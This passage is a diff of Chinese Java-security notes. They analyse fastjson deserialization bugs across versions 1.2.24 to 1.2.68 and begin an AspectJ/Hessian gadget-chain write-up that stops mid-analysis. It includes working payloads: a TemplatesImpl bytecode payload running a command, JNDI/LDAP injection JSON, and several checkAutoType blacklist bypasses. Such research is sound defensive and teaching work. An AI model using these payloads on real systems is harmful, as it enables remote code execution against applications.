+这里直接引用素十八师傅的总结([**1.4.8.** Fastjson 反序列化漏洞](https://www.javasec.org/java-vuls/FastJson.html)): + +- 使用 `JSON.parse(jsonString)` 和 `JSON.parseObject(jsonString, Target.class)`,两者调用链一致,前者会在 jsonString 中解析字符串获取 `@type` 指定的类,后者则会直接使用参数中的 class 。 +- fastjson 在创建一个类实例时会通过反射调用类中符合条件的 getter/setter 方法,其中 getter 方法需满足条件:方法名长于 4、不是静态方法、以 `get` 开头且第 4 位是大写字母、方法不能有参数传入、继承自 `Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong`、此属性没有 setter 方法;setter 方法需满足条件:方法名长于 4,以 `set` 开头且第 4 位是大写字母、非静态方法、返回类型为 void 或当前类、参数个数为 1 个。具体逻辑在 `com.alibaba.fastjson.util.JavaBeanInfo.build()` 中。 +- 使用 `JSON.parseObject(jsonString)` 将会返回 JSONObject 对象,且类中的所有 getter 与 setter 都被调用。 +- 如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用 `Feature.SupportNonPublicField` 参数。 +- fastjson 在为类属性寻找 get/set 方法时,调用函数 `com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()` 方法,会忽略 `_|-` 字符串,也就是说哪怕你的字段名叫 `_a_g_e_`,getter 方法为 `getAge()`,fastjson 也可以找得到,在 1.2.36 版本及后续版本还可以支持同时使用 `_` 和 `-` 进行组合混淆。 +- fastjson 在反序列化时,如果 Field 类型为 `byte[]`,将会调用`com.alibaba.fastjson.parser.JSONScanner#bytesValue` 进行 base64 解码,对应的,在序列化时也会进行 base64 编码。 + +这些特性对于分析反序列化漏洞有很大帮助,其中一部分已经在前面的代码分析中证明完成。 + +## Fastjson 反序列化 + +### fastjson 1.2.24 + +影响版本:`fastjson <= 1.2.24` + +描述:fastjson 默认使用 @type 指定反序列化任意类,攻击者可以通过在 Java 常见环境中寻找能够构造恶意类的方法,通过反序列化的过程中调用的 getter/setter 方法,以及目标成员变量的注入来达到传参的目的,最终形成恶意调用链。此漏洞开启了 fastjson 反序列化漏洞的大门,为安全研究人员提供了新的思路。 + +#### TemplatesImpl 利用链 + +com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 实现了 Serializable 接口,它可以被序列化。 + +具体来看 TemplatesImpl#getTransletInstance() 方法: + +![](https://changeyourway.github.io/images/image-20240910102017246.png) + +这是一个 getter 方法,但是不满足调用要求,它的返回类型是 Translet 。 + +再往上找,newTransformer() 方法调用了 getTransletInstance() : + +![](https://changeyourway.github.io/images/image-20240910102529191.png) + +getOutputProperties() 方法又调用了 newTransformer() : + +![](https://changeyourway.github.io/images/image-20240910102649046.png) + +getOutputProperties() 方法是成员属性 \_outputProperties 的 getter 方法,它的返回类型是 Properties ,Properties 实现了 Map 接口,符合要求,反序列化时可以调用。 + +不过美中不足的是 \_outputProperties 属性是私有的,而且没有 setter 方法,所以要用 Feature.SupportNonPublicField 参数才能给它赋值。 + +有关 TemplatesImpl 链的一些细节我已经在 CC3 的文章中分析清楚了,总结一下调用链: + +``` +TemplatesImpl#getOutputProperties() +TemplatesImpl#newTransformer() +TemplatesImpl#getTransletInstance() + -> TemplatesImpl#defineTransletClasses() + TransletClassLoader#defineClass() # 将 _class、_transletIndex 赋值 + -> Class#newInstance() # 初始化时执行静态代码块 +``` + +下面直接给出测试用例: + +``` +import com.alibaba.fastjson.JSON; +import com.alibaba.fastjson.parser.Feature; + +import java.nio.file.Files; +import java.nio.file.Paths; +import java.util.Base64; + +public class TemplateImplTest { + public static void main(String args[]) { + try { + byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\miaoj\\Documents\\Java安全代码实验\\FastjsonTest\\target\\classes\\pojo\\Eval.class")); + String base64Code = Base64.getEncoder().encodeToString(code); + String text1 = "{\n" + + " \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" + + " \"_bytecodes\": [\"" + base64Code + "\"],\n" + + " \"_name\": \"miaoji\",\n" + + " \"_tfactory\": {},\n" + + " \"_outputProperties\": {},\n" + + "}"; + System.out.println(text1); + + JSON.parseObject(text1, Object.class, Feature.SupportNonPublicField); + // JSON.parse(text1, Feature.SupportNonPublicField); + } catch (Exception e) { + e.printStackTrace(); + } + } +} +``` + +这里我为 \_bytecodes 传入的是一个 base64 编码的字节码,如果 JSON 中包含 Base64 编码的字符串,并且将它反序列化为 byte\[\] 类型的字段时,Fastjson 会自动尝试将该 Base64 字符串转换为字节数组。其中对应的解码操作在 JSONScanner#bytesValue() 中: + +![](https://changeyourway.github.io/images/image-20240912145741928.png) + +调用堆栈如下: + +![](https://changeyourway.github.io/images/image-20240912150115001.png) + +Eval.class 是 Eval 类编译后生成的字节码文件,Eval 类内容如下: + +``` +package pojo; + +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; +import java.io.IOException; + +public class Eval extends AbstractTranslet { + public Eval() { + } + + public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { + } + + public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { + } + + static { + try { + Runtime.getRuntime().exec("calc"); + } catch (IOException var1) { + throw new RuntimeException(var1); + } + } +} +``` + +#### JdbcRowSetImpl 利用链 + +com.sun.rowset.JdbcRowSetImpl 这条利用链是由于 javax.naming.InitialContext#lookup() 参数可控导致的 JNDI 注入。 + +setAutoCommit,这是一个 setter 方法,调用了 connect 方法: + +![](https://changeyourway.github.io/images/image-20240912164123277.png) + +跟进 connect 方法: + +![](https://changeyourway.github.io/images/image-20240912164248222.png) + +这里会调用 lookup 方法进行 Jndi 远程调用。 + +getDataSourceName(): + +![](https://changeyourway.github.io/images/image-20240912164342219.png) + +所以只需要将 dataSource 设置成 JNDI 服务端地址就行。 + +调用链如下: + +``` +JdbcRowSetImpl#setAutoCommit(boolean) +JdbcRowSetImpl#connect() +InitialContext#lookup(String) +``` + +测试用例: + +``` +import com.alibaba.fastjson.JSON; +import com.alibaba.fastjson.JSONObject; + +public class JdbcRowSetImplTest { + public static void main(String[] args) { + String json = "{\n" + + " \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" + + " \"dataSourceName\":\"ldap://127.0.0.1:10389/Command\",\n" + + " \"autoCommit\":true\n" + + "}"; + JSONObject jsonObject = JSON.parseObject(json); + } +} +``` + +### fastjson 1.2.25 + +影响版本:`1.2.25 <= fastjson <= 1.2.42` + +fastjson 1.2.25 引入了 checkAutoType 安全机制,采用黑白名单校验类是否可加载。默认情况下 autoTypeSupport 关闭,基于白名单实现安全机制,而打开 autoTypeSupport 之后,是基于内置黑名单来实现安全的,fastjson 也提供了添加黑名单的接口。 + +#### checkAutoType 安全机制 + +将依赖版本升级到 1.2.25 之后,再运行上面的 TemplatesImpl 链,会报错: + +![](https://changeyourway.github.io/images/image-20240912170012708.png) + +根据报错信息找到了 ParserConfig#checkAutoType(String, Class),在看这个方法之前,先说一下 ParserConfig 新增的一些属性: + +![](https://changeyourway.github.io/images/image-20240912170354428.png) + +autoTypeSupport 是新增的一个标志位,denyList 是黑名单,acceptList 是白名单。 + +黑名单中包含如下类: + +``` +bsh +com.mchange +com.sun. +java.lang.Thread,java.net.Socket +java.rmi,javax.xml +org.apache.bcel +org.apache.commons.beanutils +org.apache.commons.collections.Transformer +org.apache.commons.collections.functors +org.apache.commons.collections4.comparators +org.apache.commons.fileupload +org.apache.myfaces.context.servlet +org.apache.tomcat +org.apache.wicket.util +org.codehaus.groovy.runtime +org.hibernate +org.jboss +org.mozilla.javascript +org.python.core +org.springframework +``` + +接着来看 ParserConfig#checkAutoType(String, Class),这个方法最主要的是几个 if 判断,反复使用黑白名单来验证。 + +`$` 替换为 `.`,处理嵌套类;如果 autoTypeSupport 为 true ,那么先用白名单检查,再用黑名单检查,白名单检查通过的话可以直接加载类,而黑名单不会: + +![](https://changeyourway.github.io/images/image-20240913103434968.png) + +运行上面的 TemplateImplTest 代码时,这里的 expectClass 初始值为 null 。 + +如果 autoTypeSupport 为 false 的话,则先检查黑名单,再检查白名单。同样的是黑名单检查通过后也不能加载类: + +![](https://changeyourway.github.io/images/image-20240913104958868.png) + +如果上面的检查都通过了但是没有加载类的话,再检查一次 autoTypeSupport 是否为 true ,如果是就加载类。这是这个方法中最后一次加载类的地方了,也就是说如果 autoTypeSupport 为 false 的话,是不会加载任何类的。而 autoTypeSupport 默认为 false : + +![](https://changeyourway.github.io/images/image-20240913105414488.png) + +最后会检查加载的类是否是 ClassLoader 或 DataSource 的子类,这里是不允许加载它们的: + +![](https://changeyourway.github.io/images/image-20240913105723942.png) + +#### 绕过方法 + +在上面加载类的时候会调用 TypeUtils.loadClass 方法,跟进看一下: + +![](https://changeyourway.github.io/images/image-20240913110524125.png) + +这其中的处理逻辑是这样的: + +如果 classname 以 `[` 开头,就去掉第一个字符 `[` ,然后返回对应的数组类。这是因为在 Java 中,数组类型的类与普通类不同,它们有独特的类名表示方式。对于一维数组,类名以 `[` 开头,例如 `int[]` 对应的类名是 `[I`,对象数组如 `String[]` 对应的类名是 `[Ljava.lang.String;`。这里的代码就是处理这种数组类型的加载。 + +如果 className 以 `L` 开头并以 `;` 结尾,那么去掉头尾再加载。在字节码和序列化中,对象类型可能会被表示为 `L类名;` 的形式。例如 `java.lang.String` 可能被表示为 `Ljava/lang/String;`。本来是用于处理这种格式的类名,这样看来倒算是一种逻辑漏洞了。 + +这里先利用第二种机制,只需要在类名开头加上 `L` ,结尾加上 `;` 就可以了。 + +payload 如下: + +```json +{ + "@type":"Lcom.sun.rowset.JdbcRowSetImpl;", + "dataSourceName":"ldap://127.0.0.1:10389/Command8", + "autoCommit":true +} +``` + +此外需要将 autoTypeSupport 设置为 true ,有两种办法。 + +第一种是全局设置: + +``` +ParserConfig.getGlobalInstance().setAutoTypeSupport(true) +``` + +第二种是为指定的类设置: + +``` +ParserConfig.getGlobalInstance().addAccept("com.example.YourClass") +``` + +### fastjson 1.2.42 + +影响版本:`1.2.25 <= fastjson <= 1.2.42` + +依然是关注 ParserConfig 这个类,主要有两个方面的改动,第一个就是黑名单采用 hash 的方式来表示类,不再是之前的明文了: + +![](https://changeyourway.github.io/images/image-20240913113517522.png) + +似乎是 FNV-1a 哈希算法(Fowler-Noll-Vo 哈希算法)的一种变体。hash 算法是不可逆的,无法还原出明文,但是可以通过 jackson 中的黑名单来撞库呢。 + +另一方面就是针对 checkAutoType 的改动,在做其他处理之前,首先针对以 `L` 开头并以 `;` 结尾的 className 做了处理,去掉了开头和结尾: + +![](https://changeyourway.github.io/images/image-20240913132424499.png) + +这里也是采用了 hash 的方式进行了判断,虽然无法从代码直接看出想过滤什么字符,但是结合上个版本的问题也能猜出来。 + +此外,在原本判断黑白名单的地方也用 hash 的方式做了改动。作者这么做,想必是为了展示他深厚的功底,可以把相同的事物用不同的方式表达出来吧? + +绕过方式也很容易想到,就是双写开头的 `L` 和结尾的 `;` 。 + +payload: + +```java +{ + "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", + "dataSourceName":"ldap://127.0.0.1:10389/Command8", + "autoCommit":true +} +``` + +### fastjson 1.2.43 + +影响版本:`1.2.25 <= fastjson <= 1.2.43` + +改动依然是在 ParserConfig#checkAutoType(String, Class, int) ,如果开头出现了连续两个 L ,那么会抛出异常: + +![](https://changeyourway.github.io/images/image-20240913133657546.png) + +这样双写绕过的方式就失效了。不过前面提到了 TypeUtils.loadClass 方法有两种处理机制,现在来研究一下第一种,就是类名前加个 `[` ,那么我给出一个测试用例: + +``` +package fastjson1_2_43; + +import com.alibaba.fastjson.JSON; +import com.alibaba.fastjson.parser.Feature; +import com.alibaba.fastjson.parser.ParserConfig; + +import java.nio.file.Files; +import java.nio.file.Paths; +import java.util.Base64; + +public class TemplateImplTest { + public static void main(String args[]) { + try { + // 开启 AutoTypeSupport + ParserConfig.getGlobalInstance().setAutoTypeSupport(true); + + byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\miaoj\\Documents\\Java安全代码实验\\FastjsonTest\\target\\classes\\pojo\\Eval.class")); + String base64Code = Base64.getEncoder().encodeToString(code); + String text1 = "{" + + "\"@type\": \"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," + + "\"_bytecodes\": [\"" + base64Code + "\"]," + + "\"_name\": \"miaoji\"," + + "\"_tfactory\": {}," + + "\"_outputProperties\": {}," + + "}"; + System.out.println(text1); + + JSON.parseObject(text1, Object.class, Feature.SupportNonPublicField); + // JSON.parse(text1, Feature.SupportNonPublicField); + } catch (Exception e) { + e.printStackTrace(); + } + } +} +``` + +运行后会报错: + +![](https://changeyourway.github.io/images/image-20240913142449126.png) + +报错信息显示:某个位置需要一个 `[` ,但是却给了一个 `,` ,在 position 72 ,大概是第 72 个字符的意思。刚好是类名后面那个逗号,那就在这里加个 `[` 。 + +报错位置在 DefaultJSONParser.parseArray : + +![](https://changeyourway.github.io/images/image-20240913142954488.png) + +加上 `[` 后再次运行,还是报错: + +![](https://changeyourway.github.io/images/image-20240913143127325.png) + +position 73 需要一个 `{` ,就是前面加上的 `[` 后面一个的位置,就再把它加上,这次运行成功了。 + +payload 就长这个样子: + +``` +{ + "@type": "[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"[{, + "_bytecodes": [base64Code], + "_name": "miaoji", + "_tfactory": {}, + "_outputProperties": {}, +} +``` + +### fastjson 1.2.44 + +影响版本:`1.2.25 <= fastjson <= 1.2.44` + +fastjson 1.2.44 版本不但修复了上个版本 `[` 开头导致的绕过问题,而且只要是 `[` 开头,或是以 `L` 开头 `;` 结尾,会直接抛出异常,而不是像之前那样简单的过滤了: + +![](https://changeyourway.github.io/images/image-20240913144734333.png) + +从代码逻辑上看,第一个 if 判断是否以 `[` 开头,第二个 if 判断了是否以 `L` 开头并且以 `;` 结尾。 + +这样的话就彻底杜绝了前面的几种绕过方式,果然是舍不得孩子套不着狼啊。 + +### fastjson 1.2.45 + +影响版本:`1.2.25 <= fastjson <= 1.2.45` + +1.2.45 版本曝出了新的可绕过黑名单的类 org.apache.ibatis.datasource.jndi.JndiDataSourceFactory ,这个类需要服务端有 mybatis 依赖 jar 包。 + +可以在我们的项目下手动添加一个: + +``` + + org.mybatis + mybatis + 3.5.13 + +``` + +payload 如下: + +```json +{ + "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory", + "properties":{"data_source":"ldap://127.0.0.1:10389/Command8"} +} +``` + +事实上这个类也可以用来绕过前面所有版本的黑名单。 + +不过在 1.2.46 版本中被加入了黑名单: + +| version | hash | hex-hash | name | +| --- | --- | --- | --- | +| 1.2.46 | -8083514888460375884 | 0x8fd1960988bce8b4L | org.apache.ibatis.datasource | + +### fastjson 1.2.47 + +影响版本:`1.2.25 <= fastjson <= 1.2.32` 未开启 AutoTypeSupport 以及 `1.2.33 <= fastjson <= 1.2.47` 。 + +ParserConfig 的 checkAutoType 方法中有一个机制其实在之前的版本中已经有了,只是我们在研究的时候选择性忽略了而已。而这个利用方式在 1.2.47 版本被曝出来。 + +这个特性就是如果在黑白名单中没有找到匹配的类,会尝试在 TypeUtils 的 mappings 属性和 deserializers 中查找,如果能找到的话可以直接返回: + +![](https://changeyourway.github.io/images/image-20240913162820916.png) + +在 autoTypeSupport 为 true 的情况下,会进入前面的判断机制,但就算这个类在黑名单中,只要 TypeUtils 的 mappings 属性中能找到这个类,也不会抛出异常: + +![](https://changeyourway.github.io/images/image-20240913163732527.png) + +如果 autoTypeSupport 为 false ,那就更是畅通无阻了。于是就给了我们利用空间。 + +接下来的问题就是如何将类加载进 TypeUtils.mappings 或者是 ParserConfig.deserializers 。 + +#### 将类加载进 TypeUtils.mappings + +先来看 TypeUtils.mappings ,能将其赋值的方法有 addBaseClassMappings() ,loadClass(Stringe, ClassLoader, boolean)。 + +addBaseClassMappings() 中是对一些基本类型的赋值,没有什么操作空间: + +![](https://changeyourway.github.io/images/image-20240913170010985.png) + +那么看 TypeUtils#loadClass(Stringe, ClassLoader, boolean),可以看到,只要传入的 cache 不为空,就可以将传入的 className put 进 mappings 中: + +![](https://changeyourway.github.io/images/image-20240913171908677.png) + +在 TypeUtils 中,loadClass(Stringe, ClassLoader, boolean) 只有一处被调用,就是两个参数的重写方法 loadClass(String, ClassLoader ): + +![](https://changeyourway.github.io/images/image-20240913172240384.png) + +并且这里默认会将 cache 设置为 true 。 + +其实还有个一参重写方法调用了这个两参重写方法,但是它会将 classLoader 设置为空,而在三参重写方法中是要用到这个 classLoader 的,所以不考虑: + +![](https://changeyourway.github.io/images/image-20240913172929672.png) + +向上找两参的 loadClass 方法在哪被调用。 + +关注 com.alibaba.fastjson.serializer.MiscCodec#deserialze 方法,如果方法传入的参数 clazz 为 Class.class ,那么会调用两参的 loadClass 方法: + +![](https://changeyourway.github.io/images/image-20240914085706195.png) + +这里传入的第一个参数是 strVal ,作为类名。往上看看 strVal 在哪被赋值: + +![](https://changeyourway.github.io/images/image-20240914091152570.png) + +显然是被 objVal 赋值,描述类名用字符串,我没意见。 + +再往前看 objVal ,如果 parser.resolveStatus 是 DefaultJSONParser.TypeNameRedirect 的话,就能给 objVal 赋值了: + +![](https://changeyourway.github.io/images/image-20240914091314887.png) + +parser 也是传进来的参数,parser.parse() 这里面的调用链我就不分析了,简单总结一下: + +``` +DefaultJSONParser#parse() +DefaultJSONParser#parse(Object) +JSONScanner#stringVal() +JSONScanner#subString(int, int) +``` + +JSONScanner#subString(int, int): + +![](https://changeyourway.github.io/images/image-20240914105410783.png) + +从 text 中取子串,至于取子串的位置早就设定好了,其实取的是 json 字符串的键名为 val 所对应的值。但是为什么从一开始就这么设定好了呢,这就不得不提到 lexer 这个 JSONScanner 扫描器对象了。 + +#### JSONScanner 扫描器 + +早在 JSON#parse 方法创建 DefaultJSONParser 对象的时候就创建了这个 JSONScanner 对象: + +![](https://changeyourway.github.io/images/image-20240914110613836.png) + +跟进去看构造方法: + +![](https://changeyourway.github.io/images/image-20240914110912950.png) + +注意这里的 input 就是我们最初传入的 json 字符串。在 JSONScanner 的构造方法中被赋值到 JSONScanner 对象的 text 属性中: + +![](https://changeyourway.github.io/images/image-20240914111737715.png) + +那么 text 的赋值搞清楚了。看 JSONScanner#stringVal() : + +![](https://changeyourway.github.io/images/image-20240914112022431.png) + +这其中代表起始地址与长度的 np、sp 又是在何处赋值呢? + +其实是 lexer.nextToken() 方法在改变 np、sp 的值,也就是 JSONScanner 的父类 JSONLexerBase 的 nextToken() 方法。 + +nextToken 会将 JSON 中的**键**或**值**解析成独立的词法单元。例如,在解析 JSON 对象 `{"name": "John", "age": 30}` 时,`nextToken` 依次识别并解析以下词法单元: + +- `{`:表示对象的开始,词法单元类型为 `LBRACE` +- `"name"`:字符串类型的键,词法单元类型为 `STRING` +- `:`:表示键和值的分隔符,词法单元类型为 `COLON` +- `"John"`:字符串类型的值,词法单元类型为 `STRING` +- `,`:表示下一个键值对的开始,词法单元类型为 `COMMA` +- `"age"`:字符串类型的键,词法单元类型为 `STRING` +- `:`:表示键和值的分隔符,词法单元类型为 `COLON` +- `30`:数字类型的值,词法单元类型为 `NUMBER` +- `}`:表示对象的结束,词法单元类型为 `RBRACE` + +当 nextToken 方法识别到一个词法单元后,词法分析器(lexer)将准备好为下一个 nextToken 调用解析下一个词法单元。 + +回过头看 MiscCodec#deserialze(DefaultJSONParser, Type, Object): + +![](https://changeyourway.github.io/images/image-20240914144929076.png) + +在做判断的时候判断当前词法单元是不是 “val” ,不是的话会抛出异常,是的话调用 nextToken ,假如 json 数据的格式是:`{"val":"aaaaa"}` 这样的形式,调用 nextToken 之后,当前的词法单元就是 `:` 了。 + +然后调用 parser.accept ,这里面其实也调用了 nextToken ,并且在调用之前会检查当前的词法单元是不是 `:` : + +![](https://changeyourway.github.io/images/image-20240914145325608.png) + +那么这个 nextToken 调用完之后,当前的词法单元就是 “val” 键对应的值了。所以 objVal 获取到的就是 val 键对应的值。 + +#### ParserConfig.deserializers 的初始化 + +现在回到最初的那个问题:如何将类加载进 TypeUtils.mappings 或者是 ParserConfig.deserializers 。 + +接下来看看能否将类加载进 ParserConfig.deserializers 中,但是不能,deserializers 是 ParserConfig 的一个成员属性,定义的时候就初始化好了,并且只有在 ParserConfig#initDeserializers() 中才有添加的操作: + +![](https://changeyourway.github.io/images/image-20240914153242461.png) + +都是硬编码写好的,没有操作空间,所以不考虑。不过其中有一条,Class 类也在这个里面,这就意味着,如果反序列化的是 java.lang.Class 类,那么它能顺利通过 checkAutoType 的检测。 + +#### 剩余利用链分析 + +DefaultJSONParser#parseObject(final Map, Object) 方法在遇到 Class 这样的类时,会调用 MiscCodec 类来反序列化它们,并且前面还会设置好 resolveStatus 为 TypeNameRedirect ,这就满足了 MiscCodec#deserialze 中给 objVal 赋值的条件: + +![](https://changeyourway.github.io/images/image-20240914155926713.png) + +DefaultJSONParser#parseObject(final Map, Object) 这个方法很有意思,遇到不同的类还会调用不同的类来处理它,比如遇到 Class 类调用 MiscCodec 类来反序列化,这应该就是在前面的 ParserConfig#initDeserializers() 中指定的。 + +#### payload + +这部分思路理清了之后,给出一个 payload : + +```json +{ + "object1": { + "@type": "java.lang.Class", + "val": "com.sun.rowset.JdbcRowSetImpl" + }, + "object2": { + "@type": "com.sun.rowset.JdbcRowSetImpl", + "dataSourceName": "ldap://127.0.0.1:10389/Command8", + "autoCommit": true + } +} +``` + +反序列化第一个类时,Class 能顺利通过 checkAutoType 的检查并返回,随后进入 MiscCodec#deserialze 中将 “com.sun.rowset.JdbcRowSetImpl” 字符串加载进 TypeUtils.mappings 。 + +反序列化第二个类的时候,由于 TypeUtils.mappings 中存在 “com.sun.rowset.JdbcRowSetImpl” ,即使黑名单匹配到了也不会抛出异常,并且能够成功返回。 + +#### 漏洞修复 + +1.2.48 版本对这种利用方式进行了修复,首先就是将 TypeUtils 的两参 loadClass 方法调用三参方法时的 cache 默认设置为 false : + +![](https://changeyourway.github.io/images/image-20240917152927051.png) + +这样就没有办法将类加载进 TypeUtils.mappings 了。 + +另一个更改的点就是 MiscCodec#deserialze(DefaultJSONParser, Type, Object) 直接调用 TypeUtils 的三参 loadClass 方法,并且将 cache 设置为 false : + +![](https://changeyourway.github.io/images/image-20240917153627744.png) + +最后一个点就是似乎将 java.lang.Class 类加入黑名单了,当我调试到 ParserConfig#checkAutoType 时,第一次进入就直接抛出异常: + +![](https://changeyourway.github.io/images/image-20240917154257933.png) + +大概是将 java.lang.Class 类加入黑名单了。 + +### fastjson 1.2.68 + +影响版本:`fastjson <= 1.2.68` + +fastjson 1.2.68 版本在 ParserConfig 中新增了一个 safeMode 安全机制。在其 checkAutoType 方法中: + +![](https://changeyourway.github.io/images/image-20240917155422586.png) + +只要当前开启了安全模式 safeMode ,那么就会直接抛出异常,任何类都不能通过检查,那么就不能反序列化任何类。 + +另外,在 1.2.68 版本出现了一种新的绕过方式,利用点在 checkAutoType 方法的这个位置,如果能构造一个符合条件的 expectClass ,即要反序列化的类是传入的 expectClass 的子类,那么就能通过 checkAutoType 的检查: + +![](https://changeyourway.github.io/images/image-20240917161426258.png) + +当然这是在 safeMode 关闭的前提下才能利用。其实这个点在过往的版本中也都有,只是利用方式在 1.2.68 版本才发现而已。 + +expectClass 是三参 checkAutoType 方法的参数: + +![](https://changeyourway.github.io/images/image-20240917162353677.png) + +找一找哪里调用了这个三参 checkAutoType 方法并且将 expectClass 赋值了。 + +抛开将 expectClass 设置为 null 的情况,可以找到: + +- JavaBeanDeserializer#deserialzeArrayMapping +- JavaBeanDeserializer#deserialze +- ThrowableDeserializer#deserialze + +![](https://changeyourway.github.io/images/image-20240917163558857.png) + +另外,两参 checkAutoType 也调用了三参 checkAutoType ,但是 expectClass 依然是传入的,而且两参 checkAutoType 被调用的点 expectClass 都是被设置为 null ,所以没有利用价值: + +![](https://changeyourway.github.io/images/image-20240917164133794.png) + +#### ThrowableDeserializer#deserialze + +调用点在这里: + +![](https://changeyourway.github.io/images/image-20240917165738561.png) + +它会将 @type 对应的值传入第一个参数,Throwable.class 作为 expectClass 的值: + +![](https://changeyourway.github.io/images/image-20240917165938185.png) + +也就是说 @type 对应的类是 Throwable 的子类的话,通过 checkAutoType 的检查。 + +然后调用 createException 方法创建异常类: + +![](https://changeyourway.github.io/images/image-20240917170600675.png) + +跟进 ThrowableDeserializer#createException(String, Throwable, Class),最后在这里实例化: + +![](https://changeyourway.github.io/images/image-20240917170803935.png) + +那么核心点就在于找一个 Throwable 的子类,它的 getter/setter/static block/constructor 中有可利用的点,或者其他地方有可利用的链。从这个版本开始,再想要 RCE 就比较难了,大部分情况下考虑对文件的操作以及 SSRF 之类,而且可利用的链通常需要很多依赖。这个就留待后续说明吧。 diff --git a/books/漏洞篇 - Hessian Aspectj 二次反序列化新链.md b/books/漏洞篇 - Hessian Aspectj 二次反序列化新链.md new file mode 100644 index 0000000..d297079 --- /dev/null +++ b/books/漏洞篇 - Hessian Aspectj 二次反序列化新链.md @@ -0,0 +1,427 @@ +# 漏洞篇 - Hessian Aspectj 二次反序列化新链 +> 2026-03-07 +> 来源:https://changeyourway.github.io/2026/03/07/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87%20-%20Hessian%20Aspectj%20%E4%BA%8C%E6%AC%A1%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%96%B0%E9%93%BE/ + +起因是我在用自制的 codeql mcp 工具测试 2026 alictf Fury 反序列化时,发现了一条新的二次反序列化链,可惜等构造完了才发现这个链子上的类没有实现 serializable ,本以为要难产了,jsjcw 师傅提醒说可以用在 hessian 上,因为是 toString 触发的,一语点醒梦中人,测试了确实可以,故而分享一下这条生来残缺的链子。 + +## 利用链总结 + +这条链从 toString 到 readObject 全都是 Aspectj 依赖中的类: + +``` + + org.aspectj + aspectjweaver + 1.9.7 + + + com.caucho + hessian + 4.0.66 + +``` + +利用链如下: + +``` +LazyMethodGen.toString +LazyMethodGen.toLongString +LazyMethodGen.print +LazyMethodGen.printAspectAttributes +Utility.readAjAttributes +AjAttribute.read +ResolvedTypeMunger.read +NewMethodTypeMunger.readMethod +ResolvedTypeMunger.readSourceLocation # 调用 readObject +``` + +搭配 hessian2 调 toString ,就是一条完整的链子了: + +``` +Hessian2Input#readObject +Hessian2Input#readObjectDefinition +Hessian2Input#readString +Hessian2Input#expect +``` + +## 原理分析 + +### 利用链分析 + +hessian2 调 toString 不再分析,直接从 LazyMethodGen.toString 开始: + +![](https://changeyourway.github.io/images/image-20260307112709-dp5ql4g.png) + +这里调用 LazyMethodGen.toLongString ,并传入 weaverVersion ,而 weaverVersion 是从 this.enclosingClass 的 myType 属性中获取的,这个 myType 是 BcelObjectType 类型,后面有用: + +![](https://changeyourway.github.io/images/image-20260307113233-1az2aiq.png) + +跟进到 LazyMethodGen.toLongString ,这里调用 LazyMethodGen.print ,传入了一个空的流和 weaverVersion : + +![](https://changeyourway.github.io/images/image-20260307113336-y7zln6r.png) + +跟进到 LazyMethodGen.print ,这里调用 LazyMethodGen.printAspectAttributes: + +![](https://changeyourway.github.io/images/image-20260307113612-g14x570.png) + +LazyMethodGen.printAspectAttributes 又调用了 Utility.readAjAttributes : + +![](https://changeyourway.github.io/images/image-20260307113757-io8tw0r.png) + +注意传入的参数,第二个参数来自于 LazyMethodGen 的 attributes 属性: + +``` +List as = org.aspectj.weaver.bcel.Utility.readAjAttributes(this.getClassName(), (Attribute[])this.attributes.toArray(new Attribute[0]), context, (World)null, weaverVersion, new BcelConstantPoolReader(this.enclosingClass.getConstantPool())); +``` + +Utility.readAjAttributes 的第二个参数是一个 Attribute 数组,其中的每一项都会被读取,先强转为 Unknown 类型,然后调用 u.getBytes() 来获取这个 Unknown 对象的字节流,而这个字节流就是后续被反序列化的字节流: + +![](https://changeyourway.github.io/images/image-20260307143849-qz7yi24.png) + +看到这里可能会以为这个字节流不可控了,但实际上 Unknown.getBytes() 也不过是获取其 bytes 属性,仍然在掌握之中: + +![](https://changeyourway.github.io/images/image-20260307114334-avuwdqz.png) + +接着跟进 AjAttribute.read ,根据传入的 name 不同,进入不同的处理逻辑,name 来自于 Unknown.getName() ,同样是可以控制的,控制其值为 org.aspectj.weaver.TypeMunger ,就可以进入 TypeMunger 的处理逻辑,调用 ResolvedTypeMunger.read 方法: + +![](https://changeyourway.github.io/images/image-20260307114524-4u1pk3s.png) + +跟进 ResolvedTypeMunger.read ,其会先调用 ResolvedTypeMunger.Kind.read 获取类型,再针对不同类型进入不同的处理逻辑: + +![](https://changeyourway.github.io/images/image-20260307115137-s78bqzv.png) + +ResolvedTypeMunger.Kind.read 就是读取流中的第一个字节,根据数值判断,不麻烦,第一个字节设置为 2(其它的应该也可以): + +![](https://changeyourway.github.io/images/image-20260307115259-umfbkvm.png) + +如此就进入 Method 的处理逻辑,调用 NewMethodTypeMunger.readMethod : + +![](https://changeyourway.github.io/images/image-20260307140224-c4od0an.png) + +而在这其中比较难处理的是 ResolvedMemberImpl.readResolvedMember 方法,它会读取相当多的字节,需要确保这个过程不出异常,才能进入后续逻辑: + +![](https://changeyourway.github.io/images/image-20260307115646-t6kdkya.png) + +MemberKind.read 从流中读取一个字节,以确定成员类型,这个字节的数值只能是 1-9 : + +![](https://changeyourway.github.io/images/image-20260307115804-ufeo6jw.png) + +接下来 s.isAtLeast169() 判断版本是不是 ≥ 1.6.9 ,若是则读取一个 boolean,实际上 s.isAtLeast169() 最终是获取了一个 major\_version 并判断它是不是大于 7 ,这个 major\_version 